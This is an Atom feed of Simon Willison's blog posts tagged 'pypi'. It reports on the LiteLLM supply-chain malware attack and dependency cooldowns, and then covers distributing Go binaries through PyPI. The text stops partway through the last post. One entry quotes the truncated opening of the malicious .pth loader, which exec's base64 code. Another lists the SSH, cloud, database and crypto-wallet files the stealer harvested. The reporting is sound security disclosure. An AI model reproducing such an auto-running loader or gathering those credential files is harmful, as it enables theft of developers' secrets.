<?xml version="1.0" encoding="utf-8"?>
<feed xml:lang="en-us" xmlns="http://www.w3.org/2005/Atom"><title>Simon Willison's Weblog: pypi</title><link href="http://simonwillison.net/" rel="alternate"/><link href="http://simonwillison.net/tags/pypi.atom" rel="self"/><id>http://simonwillison.net/</id><updated>2026-03-26T23:58:22+00:00</updated><author><name>Simon Willison</name></author><entry><title>My minute-by-minute response to the LiteLLM malware attack</title><link href="https://simonwillison.net/2026/Mar/26/response-to-the-litellm-malware-attack/#atom-tag" rel="alternate"/><published>2026-03-26T23:58:22+00:00</published><updated>2026-03-26T23:58:22+00:00</updated><id>https://simonwillison.net/2026/Mar/26/response-to-the-litellm-malware-attack/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://futuresearch.ai/blog/litellm-attack-transcript/"&gt;My minute-by-minute response to the LiteLLM malware attack&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Callum McMahon reported the &lt;a href="https://simonwillison.net/2026/Mar/24/malicious-litellm/"&gt;LiteLLM malware attack&lt;/a&gt; to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Confirmed&lt;/strong&gt;. Fresh download from PyPI right now in an isolated Docker container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The malicious &lt;code&gt;litellm==1.82.8&lt;/code&gt; is &lt;strong&gt;live on PyPI right now&lt;/strong&gt; and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I was chuffed to see Callum use my &lt;a href="https://github.com/simonw/claude-code-transcripts"&gt;claude-code-transcripts&lt;/a&gt; tool to publish the transcript of the conversation.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=47531967"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude"&gt;claude&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-security-research"&gt;ai-security-research&lt;/a&gt;&lt;/p&gt;



</summary><category term="pypi"/><category term="security"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="claude"/><category term="supply-chain"/><category term="ai-security-research"/></entry><entry><title>LiteLLM Hack: Were You One of the 47,000?</title><link href="https://simonwillison.net/2026/Mar/25/litellm-hack/#atom-tag" rel="alternate"/><published>2026-03-25T17:21:04+00:00</published><updated>2026-03-25T17:21:04+00:00</updated><id>https://simonwillison.net/2026/Mar/25/litellm-hack/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://futuresearch.ai/blog/litellm-hack-were-you-one-of-the-47000/"&gt;LiteLLM Hack: Were You One of the 47,000?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Daniel Hnyk used the &lt;a href="https://console.cloud.google.com/bigquery?p=bigquery-public-data&amp;amp;d=pypi"&gt;BigQuery PyPI dataset&lt;/a&gt; to determine how many downloads there were of &lt;a href="https://simonwillison.net/2026/Mar/24/malicious-litellm/"&gt;the exploited LiteLLM packages&lt;/a&gt; during the 46 minute period they were live on PyPI. The answer was 46,996 across the two compromised release versions (1.82.7 and 1.82.8).&lt;/p&gt;
&lt;p&gt;They also identified 2,337 packages that depended on LiteLLM - 88% of which did not pin versions in a way that would have avoided the exploited version.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://twitter.com/hnykda/status/2036834100342825369"&gt;@hnykda&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="packaging"/><category term="pypi"/><category term="python"/><category term="security"/><category term="supply-chain"/></entry><entry><title>Package Managers Need to Cool Down</title><link href="https://simonwillison.net/2026/Mar/24/package-managers-need-to-cool-down/#atom-tag" rel="alternate"/><published>2026-03-24T21:11:38+00:00</published><updated>2026-03-24T21:11:38+00:00</updated><id>https://simonwillison.net/2026/Mar/24/package-managers-need-to-cool-down/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://nesbitt.io/2026/03/04/package-managers-need-to-cool-down.html"&gt;Package Managers Need to Cool Down&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Today's &lt;a href="https://simonwillison.net/2026/Mar/24/malicious-litellm/"&gt;LiteLLM supply chain attack&lt;/a&gt; inspired me to revisit the idea of &lt;a href="https://simonwillison.net/2025/Nov/21/dependency-cooldowns/"&gt;dependency cooldowns&lt;/a&gt;, the practice of only installing updated dependencies once they've been out in the wild for a few days to give the community a chance to spot if they've been subverted in some way.&lt;/p&gt;
&lt;p&gt;This recent piece (March 4th) piece by Andrew Nesbitt reviews the current state of dependency cooldown mechanisms across different packaging tools. It's surprisingly well supported! There's been a flurry of activity across major packaging tools, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pnpm.io/blog/releases/10.16#new-setting-for-delayed-dependency-updates"&gt;pnpm 10.16&lt;/a&gt; (September 2025) — &lt;code&gt;minimumReleaseAge&lt;/code&gt; with &lt;code&gt;minimumReleaseAgeExclude&lt;/code&gt; for trusted packages&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yarnpkg/berry/releases/tag/%40yarnpkg%2Fcli%2F4.10.0"&gt;Yarn 4.10.0&lt;/a&gt; (September 2025) — &lt;code&gt;npmMinimalAgeGate&lt;/code&gt; (in minutes) with &lt;code&gt;npmPreapprovedPackages&lt;/code&gt; for exemptions&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bun.com/blog/bun-v1.3#minimum-release-age"&gt;Bun 1.3&lt;/a&gt; (October 2025) — &lt;code&gt;minimumReleaseAge&lt;/code&gt; via &lt;code&gt;bunfig.toml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://deno.com/blog/v2.6#controlling-dependency-stability"&gt;Deno 2.6&lt;/a&gt; (December 2025) — &lt;code&gt;--minimum-dependency-age&lt;/code&gt; for &lt;code&gt;deno update&lt;/code&gt; and &lt;code&gt;deno outdated&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/astral-sh/uv/releases/tag/0.9.17"&gt;uv 0.9.17&lt;/a&gt; (December 2025) — added relative duration support to existing &lt;code&gt;--exclude-newer&lt;/code&gt;, plus per-package overrides via &lt;code&gt;exclude-newer-package&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ichard26.github.io/blog/2026/01/whats-new-in-pip-26.0/"&gt;pip 26.0&lt;/a&gt; (January 2026) — &lt;code&gt;--uploaded-prior-to&lt;/code&gt; (absolute timestamps only; &lt;a href="https://github.com/pypa/pip/issues/13674"&gt;relative duration support requested&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration"&gt;npm 11.10.0&lt;/a&gt; (February 2026) — &lt;code&gt;min-release-age&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;pip&lt;/code&gt; currently only supports absolute rather than relative dates but Seth Larson &lt;a href="https://sethmlarson.dev/pip-relative-dependency-cooling-with-crontab"&gt;has a workaround for that&lt;/a&gt; using a scheduled cron to update the absolute date in the &lt;code&gt;pip.conf&lt;/code&gt; config file.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pip"&gt;pip&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/npm"&gt;npm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/deno"&gt;deno&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/uv"&gt;uv&lt;/a&gt;&lt;/p&gt;



</summary><category term="javascript"/><category term="packaging"/><category term="pip"/><category term="pypi"/><category term="python"/><category term="security"/><category term="npm"/><category term="deno"/><category term="supply-chain"/><category term="uv"/></entry><entry><title>Malicious litellm_init.pth in litellm 1.82.8 — credential stealer</title><link href="https://simonwillison.net/2026/Mar/24/malicious-litellm/#atom-tag" rel="alternate"/><published>2026-03-24T15:07:31+00:00</published><updated>2026-03-24T15:07:31+00:00</updated><id>https://simonwillison.net/2026/Mar/24/malicious-litellm/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/BerriAI/litellm/issues/24512"&gt;Malicious litellm_init.pth in litellm 1.82.8 — credential stealer&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
The LiteLLM v1.82.8 package published to PyPI was compromised with a particularly nasty credential stealer hidden in base64 in a &lt;code&gt;litellm_init.pth&lt;/code&gt; file, which means installing the package is enough to trigger it even without running &lt;code&gt;import litellm&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;(1.82.7 had the exploit as well but it was in the &lt;code&gt;proxy/proxy_server.py&lt;/code&gt; file so the package had to be imported for it to take effect.)&lt;/p&gt;
&lt;p&gt;This issue has a very detailed description of what the credential stealer does. There's more information about the timeline of the exploit &lt;a href="https://github.com/BerriAI/litellm/issues/24518"&gt;over here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;PyPI has already &lt;a href="https://pypi.org/help/#project_in_quarantine"&gt;quarantined&lt;/a&gt; the &lt;a href="https://pypi.org/project/litellm/"&gt;litellm package&lt;/a&gt; so the window for compromise was just a few hours, but if you DID install the package it would have hoovered up a bewildering array of secrets, including &lt;code&gt;~/.ssh/&lt;/code&gt;, &lt;code&gt;~/.gitconfig&lt;/code&gt;, &lt;code&gt;~/.git-credentials&lt;/code&gt;, &lt;code&gt;~/.aws/&lt;/code&gt;, &lt;code&gt;~/.kube/&lt;/code&gt;, &lt;code&gt;~/.config/&lt;/code&gt;, &lt;code&gt;~/.azure/&lt;/code&gt;, &lt;code&gt;~/.docker/&lt;/code&gt;, &lt;code&gt;~/.npmrc&lt;/code&gt;, &lt;code&gt;~/.vault-token&lt;/code&gt;, &lt;code&gt;~/.netrc&lt;/code&gt;, &lt;code&gt;~/.lftprc&lt;/code&gt;, &lt;code&gt;~/.msmtprc&lt;/code&gt;, &lt;code&gt;~/.my.cnf&lt;/code&gt;, &lt;code&gt;~/.pgpass&lt;/code&gt;, &lt;code&gt;~/.mongorc.js&lt;/code&gt;, &lt;code&gt;~/.bash_history&lt;/code&gt;, &lt;code&gt;~/.zsh_history&lt;/code&gt;, &lt;code&gt;~/.sh_history&lt;/code&gt;, &lt;code&gt;~/.mysql_history&lt;/code&gt;, &lt;code&gt;~/.psql_history&lt;/code&gt;, &lt;code&gt;~/.rediscli_history&lt;/code&gt;, &lt;code&gt;~/.bitcoin/&lt;/code&gt;, &lt;code&gt;~/.litecoin/&lt;/code&gt;, &lt;code&gt;~/.dogecoin/&lt;/code&gt;, &lt;code&gt;~/.zcash/&lt;/code&gt;, &lt;code&gt;~/.dashcore/&lt;/code&gt;, &lt;code&gt;~/.ripple/&lt;/code&gt;, &lt;code&gt;~/.bitmonero/&lt;/code&gt;, &lt;code&gt;~/.ethereum/&lt;/code&gt;, &lt;code&gt;~/.cardano/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It looks like this supply chain attack started with the &lt;a href="https://www.crowdstrike.com/en-us/blog/from-scanner-to-stealer-inside-the-trivy-action-supply-chain-compromise/"&gt;recent exploit&lt;/a&gt; against &lt;a href="https://trivy.dev/"&gt;Trivy&lt;/a&gt;, ironically a security scanner tool that was used in CI &lt;a href="https://github.com/BerriAI/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#L16"&gt;by LiteLLM&lt;/a&gt;. The Trivy exploit likely resulted in stolen PyPI credentials which were then used to directly publish the vulnerable packages.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="open-source"/><category term="pypi"/><category term="python"/><category term="security"/><category term="supply-chain"/></entry><entry><title>Distributing Go binaries like sqlite-scanner through PyPI using go-to-wheel</title><link href="https://simonwillison.net/2026/Feb/4/distributing-go-binaries/#atom-tag" rel="alternate"/><published>2026-02-04T14:59:47+00:00</published><updated>2026-02-04T14:59:47+00:00</updated><id>https://simonwillison.net/2026/Feb/4/distributing-go-binaries/#atom-tag</id><summary type="html">
    &lt;p&gt;I've been exploring Go for building small, fast and self-contained binary applications recently. I'm enjoying how there's generally one obvious way to do things and the resulting code is boring and readable - and something that LLMs are very competent at writing. The one catch is distribution, but it turns out publishing Go binaries to PyPI means any Go binary can be just a &lt;code&gt;uvx package-name&lt;/code&gt; call away.&lt;/p&gt;
&lt;h4 id="sqlite-scanner"&gt;sqlite-scanner&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://github.com/simonw/sqlite-scanner"&gt;sqlite-scanner&lt;/a&gt; is my new Go CLI tool for scanning a filesystem for SQLite database files.&lt;/p&gt;
&lt;p&gt;It works by checking if the first 16 bytes of the file exactly match the SQLite magic number sequence &lt;code&gt;SQLite format 3\x00&lt;/code&gt;. It can search one or more folders recursively, spinning up concurrent goroutines to accelerate the scan. It streams out results as it finds them in plain text, JSON or newline-delimited JSON. It can optionally display the file sizes as well.&lt;/p&gt;
&lt;p&gt;To try it out you can download a release from the &lt;a href="https://github.com/simonw/sqlite-scanner/releases"&gt;GitHub releases&lt;/a&gt; - and then &lt;a href="https://support.apple.com/en-us/102445"&gt;jump through macOS hoops&lt;/a&gt; to execute an "unsafe" binary. Or you can clone the repo and compile it with Go. Or... you can run the binary like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uvx sqlite-scanner
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default this will search your current directory for SQLite databases. You can pass one or more directories as arguments:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uvx sqlite-scanner ~ /tmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add &lt;code&gt;--json&lt;/code&gt; for JSON output, &lt;code&gt;--size&lt;/code&gt; to include file sizes or &lt;code&gt;--jsonl&lt;/code&gt; for newline-delimited JSON. Here's a demo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uvx sqlite-scanner ~ --jsonl --size
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2025/sqlite-scanner-demo.gif" alt="running that command produces a sequence of JSON objects, each with a path and a size key" style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;If you haven't been uv-pilled yet you can instead install &lt;code&gt;sqlite-scanner&lt;/code&gt; using &lt;code&gt;pip install sqlite-scanner&lt;/code&gt; and then run &lt;code&gt;sqlite-scanner&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To get a permanent copy with &lt;code&gt;uv&lt;/code&gt; use &lt;code&gt;uv tool install sqlite-scanner&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id="how-the-python-package-works"&gt;How the Python package works&lt;/h4&gt;
&lt;p&gt;The reason this is worth doing is that &lt;code&gt;pip&lt;/code&gt;, &lt;code&gt;uv&lt;/code&gt; and &lt;a href="https://pypi.org/"&gt;PyPI&lt;/a&gt; will work together to identify the correct compiled binary for your operating system and architecture.&lt;/p&gt;
&lt;p&gt;This is driven by file names. If you visit &lt;a href="https://pypi.org/project/sqlite-scanner/#files"&gt;the PyPI downloads for sqlite-scanner&lt;/a&gt; you'll see the following files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sqlite_scanner-0.1.1-py3-none-win_arm64.whl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlite_scanner-0.1.1-py3-none-win_amd64.whl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlite_scanner-0.1.1-py3-none-musllinux_1_2_x86_64.whl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlite_scanner-0.1.1-py3-none-musllinux_1_2_aarch64.whl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlite_scanner-0.1.1-py3-none-manylinux_2_17_x86_64.whl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlite_scanner-0.1.1-py3-none-manylinux_2_17_aarch64.whl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlite_scanner-0.1.1-py3-none-macosx_11_0_arm64.whl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlite_scanner-0.1.1-py3-none-macosx_10_9_x86_64.whl&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When I run &lt;code&gt;pip install sqlite-scanner&lt;/code&gt; or &lt;code&gt;uvx sqlite-scanner&lt;/code&gt; on my Apple Silicon Mac laptop Python's packaging magic ensures I get that &lt;code&gt;macosx_11_0_arm64.whl&lt;/code&gt; variant.&lt;/p&gt;
&lt;p&gt;Here's &lt;a href="https://tools.simonwillison.net/zip-wheel-explorer?url=https%3A%2F%2Ffiles.pythonhosted.org%2Fpackages%2F88%2Fb1%2F17a716635d2733fec53ba0a8267f85bd6b6cf882c6b29301bc711fba212c%2Fsqlite_scanner-0.1.1-py3-none-macosx_11_0_arm64.whl#sqlite_scanner/__init__.py"&gt;what's in the wheel&lt;/a&gt;, which is a zip file with a &lt;code&gt;.whl&lt;/code&gt; extension.&lt;/p&gt;
&lt;p&gt;In addition to the &lt;code&gt;bin/sqlite-scanner&lt;/code&gt; the most important file is &lt;code&gt;sqlite_scanner/__init__.py&lt;/code&gt; which includes the following:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;get_binary_path&lt;/span&gt;():
    &lt;span class="pl-s"&gt;"""Return the path to the bundled binary."""&lt;/span&gt;
    &lt;span class="pl-s1"&gt;binary&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;os&lt;/span&gt;.&lt;span class="pl-c1"&gt;path&lt;/span&gt;.&lt;span class="pl-c1"&gt;join&lt;/span&gt;(&lt;span class="pl-s1"&gt;os&lt;/span&gt;.&lt;span class="pl-c1"&gt;path&lt;/span&gt;.&lt;span class="pl-c1"&gt;dirname&lt;/span&gt;(&lt;span class="pl-s1"&gt;__file__&lt;/span&gt;), &lt;span class="pl-s"&gt;"bin"&lt;/span&gt;, &lt;span class="pl-s"&gt;"sqlite-scanner"&lt;/span&gt;)
 
    &lt;span class="pl-c"&gt;# Ensure binary is executable on Unix&lt;/span&gt;
    &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;sys&lt;/span&gt;.&lt;span class="pl-c1"&gt;platform&lt;/span&gt; &lt;span class="pl-c1"&gt;!=&lt;/span&gt; &lt;span class="pl-s"&gt;"win32"&lt;/span&gt;:
        &lt;span class="pl-s1"&gt;current_mode&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;os&lt;/span&gt;.&lt;span class="pl-c1"&gt;stat&lt;/span&gt;(&lt;span class="pl-s1"&gt;binary&lt;/span&gt;).&lt;span class="pl-c1"&gt;st_mode&lt;/span&gt;
        &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-c1"&gt;not&lt;/span&gt; (&lt;span class="pl-s1"&gt;current_mode&lt;/span&gt; &lt;span class="pl-c1"&gt;&amp;amp;&lt;/span&gt; &lt;span class="pl-s1"&gt;stat&lt;/span&gt;.&lt;span class="pl-c1"&gt;S_IXUSR&lt;/span&gt;):
            &lt;span class="pl-s1"&gt;os&lt;/span&gt;.&lt;span class="pl-c1"&gt;chmod&lt;/span&gt;(&lt;span class="pl-s1"&gt;binary&lt;/span&gt;, &lt;span class="pl-s1"&gt;current_mode&lt;/span&gt; &lt;span class="pl-c1"&gt;|&lt;/span&gt; &lt;span class="pl-s1"&gt;stat&lt;/span&gt;.&lt;span class="pl-c1"&gt;S_IXUSR&lt;/span&gt; &lt;span class="pl-c1"&gt;|&lt;/span&gt; &lt;span class="pl-s1"&gt;stat&lt;/span&gt;.&lt;span class="pl-c1"&gt;S_IXGRP&lt;/span&gt; &lt;span class="pl-c1"&gt;|&lt;/span&gt; &lt;span class="pl-s1"&gt;stat&lt;/span&gt;.&lt;span class="pl-c1"&gt;S_IXOTH&lt;/span&gt;)
 
    &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;binary&lt;/span&gt;
 
 
&lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;main&lt;/span&gt;():
    &lt;span class="pl-s"&gt;"""Execute the bundled binary."""&lt;/span&gt;
    &lt;span class="pl-s1"&gt;binary&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;get_binary_path&lt;/span&gt;()
 
    &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;sys&lt;/span&gt;.&lt;span class="pl-c1"&gt;platform&lt;/span&gt; &lt;span class="pl-c1"&gt;==&lt;/span&gt; &lt;span class="pl-s"&gt;"win32"&lt;/span&gt;:
        &lt;span class="pl-c"&gt;# On Windows, use subprocess to properly handle signals&lt;/span&gt;
        &lt;span class="pl-s1"&gt;sys&lt;/span&gt;.&lt;span class="pl-c1"&gt;exit&lt;/span&gt;(&lt;span class="pl-s1"&gt;subprocess&lt;/span&gt;.&lt;span class="pl-c1"&gt;call&lt;/span&gt;([&lt;span class="pl-s1"&gt;binary&lt;/span&gt;] &lt;span class="pl-c1"&gt;+&lt;/span&gt; &lt;span class="pl-s1"&gt;sys&lt;/span&gt;.&lt;span class="pl-c1"&gt;argv&lt;/span&gt;[&lt;span class="pl-c1"&gt;1&lt;/span&gt;:]))
    &lt;span class="pl-k"&gt;else&lt;/span&gt;:
        &lt;span class="pl-c"&gt;# On Unix, exec replaces the process&lt;/span&gt;
        &lt;span class="pl-s1"&gt;os&lt;/span&gt;.&lt;span class="pl-c1"&gt;execvp&lt;/span&gt;(&lt;span class="pl-s1"&gt;binary&lt;/span&gt;, [&lt;span class="pl-s1"&gt;binary&lt;/span&gt;] &lt;span class="pl-c1"&gt;+&lt;/span&gt; &lt;span class="pl-s1"&gt;sys&lt;/span&gt;.&lt;span class="pl-c1"&gt;argv&lt;/span&gt;[&lt;span class="pl-c1"&gt;1&lt;/span&gt;:])&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;main()&lt;/code&gt; method - also called from &lt;code&gt;sqlite_scanner/__main__.py&lt;/code&gt; - locates the binary and executes it when the Python package itself is executed, using the &lt;code&gt;sqlite-scanner = sqlite_scanner:main&lt;/code&gt; entry point defined in the wheel.&lt;/p&gt;
&lt;h4 id="which-means-we-can-use-it-as-a-dependency"&gt;Which means we can use it as a dependency&lt;/h4&gt;
&lt;p&gt;Using PyPI as a distribution platform for Go binaries feels a tiny bit abusive, albeit &lt;a href="https://simonwillison.net/2022/May/23/bundling-binary-tools-in-python-wheels/"&gt;there is plenty of precedent&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I’ll justify it by pointing out that this means &lt;strong&gt;we can use Go binaries as dependencies&lt;/strong&gt; for other Python packages now.&lt;/p&gt;
&lt;p&gt;That's genuinely useful! It means that any functionality which is available in a cross-platform Go binary can now be subsumed into a Python package. Python is really good at running subprocesses so this opens up a whole world of useful tricks that we can bake into our Python tools.&lt;/p&gt;
&lt;p&gt;To demonstrate this, I built &lt;a href="https://github.com/simonw/datasette-scan"&gt;datasette-scan&lt;/a&gt; - a new Datasette plugin which depends on &lt;code&gt;sqlite-scanner&lt;/code&gt; and then uses that Go binary to scan a folder for SQLite databases and attach them to a Datasette instance.&lt;/p&gt;
&lt;p&gt;Here's how to use that (without even installing anything first, thanks &lt;code&gt;uv&lt;/code&gt;) to explore any SQLite databases in your Downloads folder:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;uv run --with datasette-scan datasette scan &lt;span class="pl-k"&gt;~&lt;/span&gt;/Downloads&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you peek at the code you'll see it &lt;a href="https://github.com/simonw/datasette-scan/blob/1a2b6d1e6b04c8cd05f5676ff7daa877efd99f08/pyproject.toml#L14"&gt;depends on sqlite-scanner&lt;/a&gt; in &lt;code&gt;pyproject.toml&lt;/code&gt; and calls it using &lt;code&gt;subprocess.run()&lt;/code&gt; against &lt;code&gt;sqlite_scanner.get_binary_path()&lt;/code&gt; in its own &lt;a href="https://github.com/simonw/datasette-scan/blob/1a2b6d1e6b04c8cd05f5676ff7daa877efd99f08/datasette_scan/__init__.py#L38-L58"&gt;scan_directories() function&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I've been exploring this pattern for other, non-Go binaries recently - here's &lt;a href="https://github.com/simonw/tools/blob/main/python/livestream-gif.py"&gt;a recent script&lt;/a&gt; that depends on &lt;a href="https://pypi.org/project/static-ffmpeg/"&gt;static-ffmpeg&lt;/a&gt; to ensure that &lt;code&gt;ffmpeg&lt;/code&gt; is available for the script to use.&lt;/p&gt;
&lt;h4 id="building-python-wheels-from-go-packages-with-go-to-wheel"&gt;Building Python wheels from Go packages with go-to-wheel&lt;/h4&gt;
&lt;p&gt;After trying this pattern myself a couple of times I realized it would be useful to have a tool to automate the process.&lt;/p&gt;
&lt;p&gt;I first &lt;a href="https://claude.ai/share/2d9ced56-b3e8-4651-83cc-860b9b419187"&gt;brainstormed with Claude&lt;/a&gt; to check that there was no existing tool to do this. It pointed me to &lt;a href="https://www.maturin.rs/bindings.html#bin"&gt;maturin bin&lt;/a&gt; which helps distribute Rust projects using Python wheels, and &lt;a href="https://github.com/Bing-su/pip-binary-factory"&gt;pip-binary-factory&lt;/a&gt; which bundles all sorts of other projects, but did not identify anything that addressed the exact problem I was looking to solve.&lt;/p&gt;
&lt;p&gt;So I &lt;a href="https://gisthost.github.io/?41f04e4eb823b1ceb888d9a28c2280dd/index.html"&gt;had Claude Code for web build the first version&lt;/a&gt;, then refined the code locally on my laptop with the help of more Claude Code and a little bit of OpenAI Codex too, just to mix things up.&lt;/p&gt;
&lt;p&gt;The full documentation is in the &lt;a href="https://github.com/simonw/go-to-wheel"&gt;simonw/go-to-wheel&lt;/a&gt; repository. I've published that tool to PyPI so now you can run it using:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;uvx go-to-wheel --help&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;sqlite-scanner&lt;/code&gt; package you can &lt;a href="https://pypi.org/project/sqlite-scanner/"&gt;see on PyPI&lt;/a&gt; was built using &lt;code&gt;go-to-wheel&lt;/code&gt; like this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;uvx go-to-wheel &lt;span class="pl-k"&gt;~&lt;/span&gt;/dev/sqlite-scanner \
  --set-version-var main.version \
  --version 0.1.1 \
  --readme README.md \
  --author &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;'&lt;/span&gt;Simon Willison&lt;span class="pl-pds"&gt;'&lt;/span&gt;&lt;/span&gt; \
  --url https://github.com/simonw/sqlite-scanner \
  --description &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;'&lt;/span&gt;Scan directories for SQLite databases&lt;span class="pl-pds"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
